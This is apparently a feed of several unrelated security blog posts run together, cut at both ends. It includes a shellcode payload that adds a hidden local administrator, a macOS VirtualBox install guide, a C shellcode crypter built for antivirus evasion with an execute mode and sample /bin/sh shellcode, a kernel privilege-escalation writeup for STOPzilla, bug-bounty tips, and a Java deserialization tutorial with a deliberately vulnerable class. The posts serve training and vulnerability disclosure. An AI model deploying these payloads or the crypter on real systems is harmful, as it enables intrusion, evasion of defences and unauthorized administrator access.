pop  r8              ; 4158
pop  r8              ; 4158
pop  rsi             ; 5E
pop  rcx             ; 59
pop  rdx             ; 5A
pop  r8              ; 4158
pop  r9              ; 4159
pop  r10             ; 415A
sub  rsp,byte +0x20  ; 4883EC20
push r10             ; 4152
jmp  rax             ; FFE0

As 4 bytes will be added before jmp rax to make the adjustment, and 4 bytes were added to jump over the command text, rcx needs to be adjusted by 8 bytes. To do this, add rcx, 0x8 is inserted before jmp rax:

push r10             ; 4152
add  rcx, byte +0x8  ; 4883C108
jmp  rax             ; FFE0

Fixing Relative Jumps

The simple solution now becomes a bit more painful. Adding the adjustment to the rcx register causes a shift in a number of offsets by 4 bytes.

Thankfully, the visual aid on the left side of the screen in x64dbg makes it a bit easier to identify affected jumps by showing where they would land if taken.

Any jump or call instruction that has an offset that went forward past jmp rax will need to have its offset increased by 4, where as any jump or call that went backwards will need to have its offset decreased by 4.

A total of 4 operations were found that needed to be changed:

  • E8 C0 (call 0xca) changes to E8 C4
  • 74 67 (jz 0xbf) changes to 74 6B
  • E3 56 (jrcxz 0xbe) changes to E3 5A
  • The one jump backwards found towards the end of the payload changes from E9 57 FF FF FF to E9 53 FF FF FF

Wrapping Up & Testing

Now that all the changes have been made, checking the value of rcx when sitting on the jmp rax instruction should show it pointing to the start of the command text bytes:

After the call to WinExec, the execution should eventually return to the short jump that was added before the command text bytes, which should jump straight over the entirety of the command text:

What you place after the command text bytes is completely up to you. In this case, I placed a NOP sled, a stack adjustment and a call into some existing code.

After making these changes, the final payload (minus the additions after the final NOP sled) looks like this:

\xfc\x48\x83\xe4\xf0\xe8\xc4\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6b\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x5a\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\x48\x83\xc1\x08\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x53\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xaa\xc5\xe2\x5d\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\xeb\x69\x90\x90\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x6b\x20\x22\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x2f\x61\x64\x64\x20\x64\x69\x2e\x73\x65\x63\x75\x72\x69\x74\x79\x20\x44\x69\x73\x65\x63\x75\x72\x69\x74\x79\x31\x21\x20\x26\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72\x6f\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f\x72\x73\x20\x64\x69\x2e\x73\x65\x63\x75\x72\x69\x74\x79\x20\x2f\x61\x64\x64\x22\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90

Installing MacOS High Sierra in VirtualBox 5

25 October 2018 at 00:00

During a recent pentest, I needed to throw together a macOS virtual machine. Although there was lots of guides around the web, none seemed to work from start to finish. This post contains the steps I extracted from various resources in order to get a fully working High Sierra install within VirtualBox 5.

Step 1: Download The High Sierra Installer

To do this, you need to be on an existing macOS system. I was unable to find the download within the App Store itself, but following this link opened the App Store at the correct page: https://itunes.apple.com/us/app/macos-high-sierra/id1246284741?mt=12

After opening the aforementioned page in the App Store, start the download, but cancel the installation when it starts.

You can then verify that the installer has been downloaded by checking that "/Applications/Install macOS High Sierra.app" exists.

Step 2: Create a Bootable ISO

Next, you need to create an ISO from the installer application that was downloaded in step 1.

Running the below commands will create an ISO on your desktop named HighSierra.iso:

hdiutil create -o /tmp/HighSierra.cdr -size 5200m -layout SPUD -fs HFS+J
hdiutil attach /tmp/HighSierra.cdr.dmg -noverify -mountpoint /Volumes/install_build
sudo /Applications/Install\ macOS\ High\ Sierra.app/Contents/Resources/createinstallmedia --volume /Volumes/install_build
mv /tmp/HighSierra.cdr.dmg ~/Desktop/InstallSystem.dmg
hdiutil detach /Volumes/Install\ macOS\ High\ Sierra
hdiutil convert ~/Desktop/InstallSystem.dmg -format UDTO -o ~/Desktop/HighSierra.iso

Step 3: Creating the Virtual Machine

I experimented with a few different settings in regards to the CPU and RAM allocation. I didn’t find a combination that didn’t work, but create a VM with the following things in mind:

  • Ensure the name of the VM is MacOS (ensure to keep the same casing)
  • Ensure the type is Mac OS X and the version is macOS 10.12 Sierra (64-bit) (there is a High Sierra option too, but I chose Sierra by accident and it worked)
  • Untick Floppy in System > Motherboard > Boot Order
  • Use >= 4096 MB of memory in System > Motherboard
  • Use >= 2 CPUs in System > Processor
  • Use 128 MB of video memory in Display > Screen
  • Optionally enable 3D acceleration in Display > Screen
  • Remove the IDE device in Storage > Storage Devices and replace it with a SATA controller
  • Add a new hard disk device under the SATA controller with >= 60 GB of space
  • Ensure an optical drive is present under the SATA controller and mount the previously created ISO to it
  • Untick the Enable Audio option under Audio

After creating the virtual machine with the above configuration, hit OK and exit the settings screen. Now, a number of extra options need to be set.

If you’re on Windows, you’ll need to cd into the appropriate directory under the VirtualBox installation path to run VBoxManage. For Linux users, this should be in your PATH variable already:

VBoxManage modifyvm "MacOS" --cpuidset 00000001 000106e5 00100800 0098e3fd bfebfbff
VBoxManage setextradata "MacOS" "VBoxInternal/Devices/efi/0/Config/DmiSystemProduct" "iMac11,3"
VBoxManage setextradata "MacOS" "VBoxInternal/Devices/efi/0/Config/DmiSystemVersion" "1.0"
VBoxManage setextradata "MacOS" "VBoxInternal/Devices/efi/0/Config/DmiBoardProduct" "Iloveapple"
VBoxManage setextradata "MacOS" "VBoxInternal/Devices/smc/0/Config/DeviceKey" "ourhardworkbythesewordsguardedpleasedontsteal(c)AppleComputerInc"
VBoxManage setextradata "MacOS" "VBoxInternal/Devices/smc/0/Config/GetKeyFromRealSMC" 1

After running the above commands, the VM should be ready to boot!

Step 4: Installation

This is where near enough everything I read stopped, despite there being one more problem in the way - UEFI.

Boot into the VM, go into Disk Utility and erase the virtual disk that you added to the machine.

After erasing the disk, start the installation procedure. After a short amount of time, it will reboot the VM.

Once it reboots, it’s going to boot back off the ISO again, once it’s done this, just shutdown the VM and eject the disk [the ISO] and then start the VM again to boot from disk.

On the next boot, it should boot into the installer that was copied to disk, but instead, you will be presented with a UEFI shell like below:

UEFI shell

To continue the macOS installation, follow these steps:

  1. Type exit and hit return
  2. Select Boot Maintenance Manager and hit return
  3. Select Boot From File and hit return
  4. You will see two partitions, select the second partition and hit return
  5. Select macOS Install Data and hit return
  6. Select Locked Files and hit return
  7. Select Boot Files and hit return
  8. Select boot.efi and hit return

After following these steps, you will boot into the remainder of the macOS installation. From here, just follow the steps as per a regular macOS installation.

The next time you boot your virtual machine, you will not have to go through the UEFI shell; it should work without any further problems.

Step 5: Tweaking The Resolution

As there is no VirtualBox additions for macOS, the screen resolution won’t automatically change. If you know what resolution you wish to use, however, you can set it manually.

Ensure the virtual machine is powered off, and then run the following command; replacing 1920x1080 with whatever resolution you would like to use:

VBoxManage setextradata "MacOS" VBoxInternal2/EfiGraphicsResolution 1920x1080

After running the above command, the next time you boot the machine, it will use the resolution specified.

Now, you should have a fully working macOS virtual machine!

macOS virtual machine

References

The information found in this post was pieced together from the following sources:

Creating Shellcode Crypter

22 September 2018 at 00:00

In addition to using encoders to evade AV detection, encryption can also be utilised to beat pattern detection. One of the benefits of encryption over encoding is that without the key used to encrypt the shellcode, it will not be possible to decrypt it (without exploiting weaknesses within the chosen algorithm).

For this example, I have chosen to create a crypter that derives its implementation from the Vigenere Cipher. The Vigenere Cipher is a type of substitution cipher, which is used for encrypting alphabetic text. The implementation I have created, however, allows for it’s basic principle to work with shellcode.

How Vigenere Works

The Vigenere cipher consists of three components:

  • The message (i.e. the unencrypted text)
  • The key
  • The character set

Typically, the character set consists of the letters A through Z and can be illustrated as a square grid. The first row starts in order, and each subsequent row will shift the character set one position to the left, and rotate the characters that go out of bounds back to the right.

Using this grid, the message can be encrypted one letter at a time. The first step is to find the column that the current letter resides in, and then follow it down the rows until reaching the row with the letter that is found in the corresponding position in the key.

For example, if the message was HELLO and the key was DEADBEEF, the first letter (H) would be encrypted using the first letter of the key (D). The first encrypted letter would therefore be K, as per the illustration below:

After encrypting this letter, the letter E would then be encrypted using the same method, which would result in the letter I being selected.

When decrypting text, the same process is followed but in reverse order. So, as the ciphertext (i.e. the encrypted text) from the above example would be KILOP, we would first find the first letter of the key being used to decrypt it (D) and check each value one by one until we find the letter K. Once the encrypted letter is found, it can be decrypted by replacing it with the letter corresponding to the column it is in - in this case H.

In instances were the key is not equal in length or greater than the message, the key is repeated N times until it is. If the key was key and the message was helloworld it would be repeated like this:

keykeykeyk
helloworld

So, the intersection for w would be made from y, the intersection for d would be made from k etc.

Modifications Required to Work with Shellcode

As the typical character set is not sufficient for using the Vigenere cipher to encrypt shellcode, the main modification will be to make it so. Rather than a character set consisting of the letters A through Z, the integer values 1 through 255 will be used. The character set starts at 1 because 0 (i.e. a null byte) is near exclusively a bad character when it comes to shellcoding.

Due to numeric values being used, rather than letters, an optimisation can (and will) be made to the encryption process. Rather than iterating through the top level rows to determine the offset of a particular value, the value itself can be used to determine the correct offset.

For example, in the case of the chosen character set, the correct offset can be found by deducting the starting byte from the one being processed. If the value 3 was being processed, it will always be in position 2 of the character set.

The same optimisation can’t be fully implemented into the decryption process, as iteration of the row is unavoidable; but the offset of the row that needs to be iterated can be directly accessed using the aforementioned logic (i.e. by subtracting the starting byte (0x01) from the byte of the key being processed).

Final Crypter Code

The final code for the crypter can be found below:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define FIRST_BYTE 1
#define CHARACTER_SET_SIZE 255

int encrypt(int characterSet[][CHARACTER_SET_SIZE], unsigned char *key, unsigned char *payload, short debug)
{
    int payloadLength = strlen((char *)payload);

    // Loop through each char in payload, and use the values from
    // the corresponding char from the key to determine which byte
    // to select from characterSet and use it as the encoded byte.
    int encrypted[payloadLength];
    for (int i = 0; i < payloadLength; i++)
    {
        int currentByte = (int)payload[i];
        int keyByte = (int)key[i];
        encrypted[i] = characterSet[keyByte - FIRST_BYTE][currentByte - FIRST_BYTE];

        if (debug)
        {
            printf("Position: %d\n", i);
            printf("Payload byte (dec): %d\n", (int)payload[i]);
            printf("Key byte (dec): %d\n", keyByte);
            printf("Encrypted byte (dec): %d\n\n", encrypted[i]);
        }
    }

    printf("\nEncrypted: ");
    for (int i = 0; i < payloadLength; i++)
    {
        printf("\\x%02x", (int)encrypted[i]);
    }

    printf("\n");

    return 0;
}

int decrypt(int characterSet[][CHARACTER_SET_SIZE], unsigned char *key, unsigned char *ciphertext, short execute, short debug)
{
    int payloadLength = strlen((char *)ciphertext);
    unsigned char originalPayload[payloadLength];

    for (int i = 0; i < payloadLength; i++)
    {
        int encryptedByte = (int)ciphertext[i];
        int keyByte = (int)key[i];

        for (int i2 = 0; i2 < CHARACTER_SET_SIZE; i2++)
        {
            if (characterSet[keyByte - FIRST_BYTE][i2] == encryptedByte)
            {
                if (debug)
                {
                    printf("Position: %d\n", i);
                    printf("Payload byte (dec): %d\n", (int)ciphertext[i]);
                    printf("Key byte (dec): %d\n", keyByte);
                    printf("Decrypted byte (dec): %d\n\n", characterSet[0][i2]);
                }

                originalPayload[i] = (unsigned char)characterSet[0][i2];
                break;
            }
        }
    }

    if (execute == 1)
    {
        void (*s)() = (void *)originalPayload;
        s();
    }
    else
    {
        printf("\nDecrypted: ");
        for (int i = 0; i < payloadLength; i++)
        {
            printf("\\x%02x", (int)originalPayload[i]);
        }

        printf("\n");
    }

    return 0;
}

unsigned char* parseByteString(char *byteString)
{
    unsigned int byteStringLength = strlen(byteString);
    char byteStringCopy[byteStringLength];
    strcpy(byteStringCopy, byteString);

    unsigned int length = 0;
    for (unsigned int i = 0; i < byteStringLength; i++)
    {
        if (byteStringCopy[i] == 'x')
        {
            length += 1;
        }
    }

    unsigned char* parsedString = (unsigned char*)malloc(sizeof (unsigned char) * length);
    const char delim[3] = "\\x";
    char *b;

    b = strtok(byteStringCopy, delim);
    int currentByte = 0;

    while( b != NULL ) {
        char parsedByte = (char)(int)strtol(b, NULL, 16);
        parsedString[currentByte] = parsedByte;
        currentByte += 1;
        b = strtok(NULL, delim);
    }

    return parsedString;
}

int main(int argc, char **argv)
{
    short debug = argc == 5;
    int characterSet[CHARACTER_SET_SIZE][CHARACTER_SET_SIZE];

    // Loop for each permutation required
    for (int i = 0; i < CHARACTER_SET_SIZE; i++)
    {
        // Add each character to the right of the
        // initial offset to the start of the row.
        for (int i2 = i; i2 < CHARACTER_SET_SIZE; i2++)
        {
            characterSet[i][i2 - i] = i2 + FIRST_BYTE;
        }

        // Rotate the characters to the left of the
        // initial offset to the end of the row.
        for (int i2 = 0; i2 < i; i2++)
        {
            characterSet[i][(CHARACTER_SET_SIZE - i) + i2] = i2 + FIRST_BYTE;
        }
    }

    char *mode = argv[1];

    unsigned char *baseKey = parseByteString(argv[2]);
    int keyLength = strlen((char *)baseKey);

    if (debug)
    {
        printf("Key: ");

        for (unsigned int i = 0; i < strlen((char *)baseKey); i++)
        {
            printf("%02x ", baseKey[i]);
        }

        printf("\n");
    }


    unsigned char *payload = parseByteString(argv[3]);
    int payloadLength = strlen((char *)payload);

    if (debug)
    {
        printf("Payload: ");

        for (unsigned int i = 0; i < strlen((char *)payload); i++)
        {
            printf("%02x ", payload[i]);
        }

        printf("\n");
    }


    int inflatedKeySize = keyLength;
    int iterationsNeeded = 1;

    // If the payload is larger than the key, the key needs to be
    // repeated N times to make it match or exceed the length of
    // the payload.
    if (payloadLength > keyLength)
    {
        // Determine the number of times the key needs to be expanded
        // to meet the length required to encrypt the payload.
        iterationsNeeded = (int)((payloadLength / keyLength) + 0.5) + 1;

        // Determine the new key size required and store it in
        // inflatedKeySize for use when initialising the new key.
        inflatedKeySize = keyLength * iterationsNeeded;
    }

    // Initialise the key with a null byte so that strcat can work.
    unsigned char key[inflatedKeySize];
    key[0] = '\x00';

    // Concatenate the base key on to the new key to ensure it
    // is long enough to encrypt the payload.
    for (int i = 0; i < iterationsNeeded; i++)
    {
        strcat((char *)key, (char *)baseKey);
    }

    if (strcmp(mode, "e") == 0)
    {
        return encrypt(characterSet, key, payload, debug);
    }

    if (strcmp(mode, "d") == 0)
    {
        return decrypt(characterSet, key, payload, 0, debug);
    }

    if (strcmp(mode, "x") == 0)
    {
        return decrypt(characterSet, key, payload, 1, debug);
    }

    return 0;
}

This code is capable of handling the following tasks:

  • Encrypting shellcode
  • Decrypting shellcode
  • Executing encrypted shellcode

Using the Crypter

To compile the code, save it to a file named crypter.c and run the following command:

gcc -m32 -fno-stack-protector -z execstack crypter.c -o crypter

It is important to use the no-stack-protector flag, otherwise the execution of the shellcode will not be possible.

Once compiled, it can be used by running the crypter executable. The executable accepts 4 positional arguments, which in order are:

  • mode - e to encrypt, d to decrypt or x to execute the payload
  • key - the key specified as escaped bytes; e.g. \xde\xad\xbe\xef
  • payload - the payload to be encrypted, decrypted or executed specified as escaped bytes
  • debug - any arbitrary value placed here will enable debug mode, which will show some extra information when encoding payloads

In the below example, an execve shellcode is encrypted using the key \xde\xad\xbe\xef and the encrypted shellcode is output:

$ ./crypter e "\xde\xad\xbe\xef" "\xeb\x1a\x5e\x31\xdb\x88\x5e\x07\x89\x76\x08\x89\x5e\x0c\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\x31\xc0\xb0\x0b\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43"

Encrypted: \xc9\xc6\x1c\x20\xb9\x35\x1c\xf5\x67\x23\xc5\x78\x3c\xb8\x4b\x0d\x6b\xfa\xc5\x7c\x34\xb8\xee\xaf\x8e\xb7\x8b\x6f\xc6\x8e\xbd\xee\xdd\xdb\x20\x58\x4c\xdb\x31\x57\x1f\xee\xff\x31\x20\xef\x01\x32\x21

To verify this is reversible, the decrypt mode is used, passing in the same key and the encrypted payload:

$ ./crypter d "\xde\xad\xbe\xef" "\xc9\xc6\x1c\x20\xb9\x35\x1c\xf5\x67\x23\xc5\x78\x3c\xb8\x4b\x0d\x6b\xfa\xc5\x7c\x34\xb8\xee\xaf\x8e\xb7\x8b\x6f\xc6\x8e\xbd\xee\xdd\xdb\x20\x58\x4c\xdb\x31\x57\x1f\xee\xff\x31\x20\xef\x01\x32\x21"

Decrypted: \xeb\x1a\x5e\x31\xdb\x88\x5e\x07\x89\x76\x08\x89\x5e\x0c\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\x31\xc0\xb0\x0b\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43

As can be seen in the above output, the original payload is successfully retrieved.

Using the execution mode, the key and encrypted payload can be specified once again, but this time, the decrypted payload will be executed, and an sh shell spawned:

$ ./crypter x "\xde\xad\xbe\xef" "\xc9\xc6\x1c\x20\xb9\x35\x1c\xf5\x67\x23\xc5\x78\x3c\xb8\x4b\x0d\x6b\xfa\xc5\x7c\x34\xb8\xee\xaf\x8e\xb7\x8b\x6f\xc6\x8e\xbd\xee\xdd\xdb\x20\x58\x4c\xdb\x31\x57\x1f\xee\xff\x31\x20\xef\x01\x32\x21"
$ whoami
rastating

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE-1340

All source files can be found on GitHub at https://github.com/rastating/slae

Exploiting STOPzilla AntiMalware Arbitrary Write Vulnerability using SeCreateTokenPrivilege

By: Parvez
13 September 2018 at 10:17

A couple of months ago I discovered 9 kernel vulnerabilities a security product called STOPzilla AntiMalware. It’s been over a month with no response from the vendor so I’m going public with this one. All of the vulnerabilities stem from output buffer address not being validated apart from ioctl 80002028 where the size of the output buffer is not validated. The table below lists the ioctls, related CVE and type of vulnerability

IOCTL CVE ID Vulnerability Type
0x8000204B CVE-2018-15729 Denial of Service
0x80002067 CVE-2018-15730 Denial of Service
0x8000205B CVE-2018-15731 Denial of Service
0x80002063 0x8000206F CVE-2018-15732 Arbitrary Write
0x80002028 CVE-2018-15733 Null pointer dereference
0x8000206B CVE-2018-15734 Arbitrary Write
0x8000205F CVE-2018-15735 Arbitrary Write
0x8000204F CVE-2018-15736 Denial of Service
0x80002043 CVE-2018-15737 Denial of Service

Here I’m exploiting the arbitrary write vulnerability (CVE-2018-15732) by overwriting the _SEP_TOKEN_PRIVILEGES structure to obtain the SeCreateTokenPrivilege privilege. Then it’s just a matter of calling the ZwCreateToken API to create a new privileged token. The excellent paper “Abusing Token Privileges For LPE” and source code provided needed assistance in exploiting using this privilege.

The “what” dword value starts with 1 and increments each time our ioctl is called so a number of writes needed to be done in order to obtain a useful privilege. Normal privileges would look like this

kd> dt nt!_SEP_TOKEN_PRIVILEGES fffff8a002f11060+40
+0x000 Present          : 0x6`02880000
+0x008 Enabled          : 0x800000
+0x010 EnabledByDefault : 0x800000

kd> !token fffff8a002f11060
.
.
19 0x000000013 SeShutdownPrivilege              Attributes - 
23 0x000000017 SeChangeNotifyPrivilege          Attributes - Enabled Default 
25 0x000000019 SeUndockPrivilege                Attributes - 
33 0x000000021 SeIncreaseWorkingSetPrivilege    Attributes - 
34 0x000000022 SeTimeZonePrivilege              Attributes - 
.
.

After a few writes the SeCreateTokenPrivilege privilege has been obtained. This is one of the privileges received most of the time.

kd> dt nt!_SEP_TOKEN_PRIVILEGES fffff8a002e61a90+40
+0x000 Present          : 0x6`00000015
+0x008 Enabled          : 0x16
+0x010 EnabledByDefault : 0x800000

kd> !token fffff8a002e61a90
.
.
00 0x000000000 Unknown Privilege                Attributes - 
02 0x000000002 SeCreateTokenPrivilege           Attributes - Enabled 
04 0x000000004 SeLockMemoryPrivilege            Attributes - Enabled 
33 0x000000021 SeIncreaseWorkingSetPrivilege    Attributes - 
34 0x000000022 SeTimeZonePrivilege              Attributes - 
.
.

For Windows 7 I’ve spawned a shell by switching to session 0 by calling WinStationSwitchToServicesSession(). The Windows Service “Interactive Services Detection” (UI0Detect) is set to manual and not started to begin with but starts when WinStationSwitchToServicesSession() is called. The first instance a prompt will be given to switch sessions, thereafter will switch automatically as the service is already started.

In Windows 10 (1803) the “Interactive Services Detection” service has been removed and doing a quick test on 1703 I realized the service can’t be started anyway so on Windows 10 I’m just adding the current user to the local administrators group.

The CreateProcessAsUser API doesn’t always behave as expected as occasionally returns 1314 error which means “A required privilege is not held by the client”. Running the exploit a few times and it ends up working so not sure exactly what is really happening here. Trying to run the exploit in another user accounts shell i.e. not logging in with the account doesn’t seem to work at all and always returns 1314 error so bear that in mind.

UPDATE: I just figured out the reason behind the 1314 error, since the CreateProcessAsUser API is still being called by our current process token so after the arbitrary writes sometimes the “SeAssignPrimaryTokenPrivilege” privilege is also obtained along with the “SeCreateTokenPrivilege” allowing the exploit to work. So even when our elevated token is successfully created we’ll need an added privilege “SeAssignPrimaryTokenPrivilege” for the CreateProcessAsUser API to succeed.

The current vulnerable version of STOPzilla AntiMalware is 6.5.2.59 of which the driver version szkg64.sys is 3.0.23.0. The exploit can be downloaded from here [zip] and here is the direct link to the package on the StopZilla site if you wish to play with the exploit [msi]

@ParvezGHH

H1-3120: MVH! (H1 Event Guide for Newbies)

29 June 2018 at 00:00

Here’s another late post about my coolest bug bounty achievement so far! In May I’ve participated in HackerOne’s H1-3120 in the beautiful city of Amsterdam with the goal to break some Dropbox stuff. It was a really tough target, but I still managed to find some juicy bugs! According to d0nutptr of the Dropbox team, these caused some internal troubles leading to some serious phone calls ;-). In the end I was awarded three out of the four titles of the evening: “The Exalted”, “The Assassin” and finally also the ”Most Valuable Hacker” (MVH)!

However, I do not only want to talk about my achievements (there are a lot of pictures available on the here), but rather give some tips for all those upcoming event first timers ;-).

You (usually) get to know the targets right before the event!

Typically, HackerOne provides you with a near-final scope a few days before the event. This means you will have some time to explore the target and already collect bugs before the actual event kicks off. My advice here is: hack as much as you can because of one awesome thing: Bounties will be split during the first 30 minutes! This means if 5 people submit the same vulnerability during the first 30 minutes, the bounty for the vulnerability will be equally split amongst everyone, i.e.: 1000 USD/5 people = 200 USD for everyone.

Do your recon prior to the event!

I usually do a lot of recon before I actually start hacking. While this already leads to bugs for myself, it creates another big advantage: I always find low-hanging or seemingly unexploitable things and while working with other hackers during the event, somebody might ask you if there is any endpoint vulnerable to an open redirect or whatever, because he/she actually needs it to complete an exploit chain. Why not collect some additional love here and provide them with your seemingly unexploitable stuff? They might help you out afterwards too!

Late-double-check your findings the night before the actual event!

Bad luck might hit you! It is possible that you find stuff, which the program fixes right before the event kicks off. Trust me, while working on bugs for H1-415, I found some really awesome bugs during the preparation phase for the event. However, while I was (more or less accidentally) checking one of my bugs the night before the event, I noticed that it has been fixed. From this point, I told myself to always late-double-check my bugs to avoid getting N/As.

Try to prevent Frans Rosen from submitting / submit your bugs using bountyplz!

While it is always a good idea to prevent Frans from using his machine to submit his findings, you should also use his tool “bountyplz” to mass-submit findings especially if you have so many vulnerabilities on your waiting list, that it could be difficult to submit them all during the 30 minutes bounty split time. Since the H1 reporting form isn’t really made for quick submissions, it will help you getting your reports in before the deadline ends.

Collaborate during the event!**

Yes, it is still a competition, but don’t underestimate it! You will learn that everybody has his/her own specialties that can help exploiting bugs! On this way I have learned about Corb3nik’s really awesome JavaScript skills!

Thank you very much HackerOne and Dropbox for organizing such an awesome event! I’m already looking forward to all the future events :-)

Understanding Java deserialization

30 May 2018 at 08:53

Some time ago I detailed PHP Object Injection vulnerabilities and this post will get into details of Java deserialization vulnerabilities. The concept is simple: developers use a feature of the programming language, serialization, to simplify their job, but they are not aware about the risks.

Java deserialization is a vulnerability similar to deserialization vulnerabilities in other programming languages. This class of vulnerabilities came to life in 2006, it become more common and more exploited and it is now part of the OWASP Top 10 2017.

What is deserialization?

In order to understand deserialization (or unserialization), we need to understand first serialization.

Each application deals with data, such as user information (e.g. username, age) and uses it to do different actions: run SQL queries, log them into files (be careful with GDPR) or just display them. Many programming languages offers the possibility to work with objects so developers can group data and methods together in classes.

Serialization is the process of translating the application data (such as objects) into a binary format that can be stored or sent over the network, in order to be reused by the same or by other application, which will deserialize it as a reverse process.

The basic idea is that it is easy to create and reuse objects.

Serialization example

Let’s take a simple example of code to see how serialization works. We will serialize a simple String object.

import java.io.*;

public class Serial
{
    public static void main(String[] args)
    {
        String name = "Nytro";
        String filename = "file.bin";

        try
        {
            FileOutputStream file  = new FileOutputStream(filename);
            ObjectOutputStream out = new ObjectOutputStream(file);

            // Serialization of the "name" (String) object
            // Will be written to "file.bin"

            out.writeObject(name);

            out.close();
            file.close();
        }
        catch(Exception e)
        {
            System.out.println("Exception: " + e.toString());
        }
    }
}

We have the following:

  • A String (object) “name”, which we will serialize
  • A file name where we will write the serialized data (we will use FileOutputStream)
  • We call “writeObject” method to serialize the object (using ObjectOutputStream)
  • We cleanup

As you can see, serialization is simple. Below is the content of the serialized data, the content of “file.bin” in hexadecimal format:

AC ED 00 05 74 00 05 4e 79 74 72 6f            ....t..Nytro

We can see the following:

  • Data starts with the binary “AC ED” – this is the “magic number” that identifies serialized data, so all serialized data will start with this value
  • Serialization protocol version “00 05”
  • We only have a String identified by “74”
  • Followed by the length of the string “00 05”
  • And, finally, our string

We can save this object on the file system, we can store it in a database, or we can even send it to another system over the network. To reuse it, we just need to deserialize it later, on the same system or on a different system and we should be able to fully reconstruct it. Of course, being a simple String, it’s not a big deal, but it can be any object.

Let’s see now how easy it is to deserialize it:

String name;
String filename = "file.bin";

try
{
    FileInputStream file  = new FileInputStream(filename);
    ObjectInputStream out = new ObjectInputStream(file);

    // Serialization of the "name" (String) object
    // Will be written to "file.bin"

    name = (String)out.readObject();
    System.out.println(name);

    out.close();
    file.close();
}
catch(Exception e)
{
    System.out.println("Exception: " + e.toString());
}

We need the following:

  • An empty string to store the reconstructed – deserialized object (name)
  • The file name where we can find the serialized data (using FileInputStream)
  • We call “readObject” to deserialize the object (using ObjectInputStream) – and convert the Object returned to String
  • We cleanup

By running this, we should be able to reconstruct the serialized object.

What can go wrong?

Let’s see what can happen if we want to do something useful with the serialization.

We can execute different actions as soon as the data is read from the serialized object. Let’s see a few theoretical examples of what developers might do during deserialization:

  • if we deserialize an “SQLConnection” object (e.g. with a ConnectionString), we can connect to the database
  • if we deserialize an “User” object (e.g. with a Username), we can retrieve user information form the database (by running some SQL queries)
  • if we deserialize a “LogFile” object (e.g. with Filename and Filecontent) we can restore the previously saved log data

In order to do something useful after deserialization, we need to implement a “readObject” method in the class we deserialize. Let’s take the “LogFile” example.

// Vulnerable class

class LogFile implements Serializable
{
   public String filename;
   public String filecontent;

  // Function called during deserialization

  private void readObject(ObjectInputStream in)
  {
     System.out.println("readObject from LogFile");

     try
     {
        // Unserialize data

        in.defaultReadObject();
        System.out.println("File name: " + filename + ", file content: \n" + filecontent);

        // Do something useful with the data
        // Restore LogFile, write file content to file name

        FileWriter file = new FileWriter(filename);
        BufferedWriter out = new BufferedWriter(file);

        System.out.println("Restoring log data to file...");
        out.write(filecontent);

        out.close();
        file.close();
     }
     catch (Exception e)
     {
         System.out.println("Exception: " + e.toString());
     }
   }
}

We can see the following:

  • implements Serializable – The class has to implement this interface to be serializable
  • filename and filecontent – Class variables, which should contain the “LogFile” data
  • readObject – The function that will be called during deserialization
  • in.defaultReadObject() – Function that performs the default deserialization -> will read the data from the file and set the values to our filename and filecontent variables
  • out.write(filecontent) – Our vulnerable class wants to do something useful, and it will restore the log file data (from filecontent) to a file on the disk (from filename)

So, what’s wrong here? A possible use case for this class is the following:

  1. A user logs in and execute some actions in the application
  2. The actions will generate a user-specific log file, using this class
  3. The user has the possibility to download (serialize LogFile) it’s logged data
  4. The user has the possibility to upload (deserialize LogFile) it’s previously saved data

In order to work easier with serialization, we can use the following class to serialize and deserialize data from files:

class Utils
{
    // Function to serialize an object and write it to a file

    public static void SerializeToFile(Object obj, String filename)
    {
        try
        {
            FileOutputStream file = new FileOutputStream(filename);
            ObjectOutputStream out = new ObjectOutputStream(file);

            // Serialization of the object to file

            System.out.println("Serializing " + obj.toString() + " to " + filename);
            out.writeObject(obj);

            out.close();
            file.close();
        }
        catch(Exception e)
        {
            System.out.println("Exception: " + e.toString());
        }
    }

    // Function to deserialize an object from a file

    public static Object DeserializeFromFile(String filename)
    {
        Object obj = new Object();

        try
        {
            FileInputStream file = new FileInputStream(filename);
            ObjectInputStream in = new ObjectInputStream(file);

            // Deserialization of the object to file

            System.out.println("Deserializing from " + filename);
            obj = in.readObject();

